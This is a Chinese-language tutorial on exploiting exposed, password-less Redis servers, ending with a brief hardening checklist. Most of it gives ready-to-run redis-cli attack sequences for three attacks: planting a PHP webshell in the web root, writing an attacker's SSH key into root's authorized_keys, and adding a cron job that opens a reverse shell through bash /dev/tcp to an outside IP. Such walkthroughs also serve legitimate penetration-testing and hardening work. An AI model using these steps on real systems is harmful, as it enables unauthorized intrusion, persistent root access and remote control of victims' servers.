Redis简介:
Redis是一个key-value存储系统。value支持多种数据类型,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。
漏洞1:未授权访问漏洞
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;并且Redis默认情况是空密码连接,这导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
当nmap扫描发现靶机开启redis服务后,则可直接连接靶机,使用本地Redis客户端获取敏感数据。
redis-cli -h 靶机ip
漏洞2:redis写入webshell
当redis存在漏洞1的未授权访问时, 则可直接通过redis连接靶机。如果靶机又开启web服务,又知道web目录的路径,在该路径下具有文件读写增删改查的权限,那则可通过redis写入webshell。
原理:redis为了实现持久化连接,它可将数据保存在本地。那么我们可以value为后门代码,并将value保存到web目录下的.php文件,就可实现PHP的webshell。
漏洞2条件如下:
- 能登录redis服务
- 靶机开启web服务
- 知道web服务目录的路径
config set dir /var/www.html/ // 切换到网站目录
config set dbfilename zcc.php // 在磁盘中生成木马文件
set xxx "\n\n\n<?php @eal($_POST['zcc']);?>\n\n\n" //写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save //将内存中的数据导出到磁盘
redis写入ssh公钥登录
原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
利用条件:
- redis服务使用root账号启动,拥有root权限
- 能成功连接redis
- 服务器开启了SSH服务,且允许密钥登录。将密钥等配置信息存放在/root/.ssh目录,(安装的openssh只要
将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
save
连接:ssh -i id_rsa root@ip
写入计划任务反弹shell
原理:在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n" //\n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
config setdir /var/spool/cron
config set dbfilename root
save
总结
其实漏洞的原理无外乎就2点:1. 能连接Redis,这是利用的前提。2. linux一切皆文件,要利用的服务可通过修改文件内容达成。
Redis 加固
- 限制访问IP
- 修改默认端口
- 使用密码登录
- 不要使用root运行redis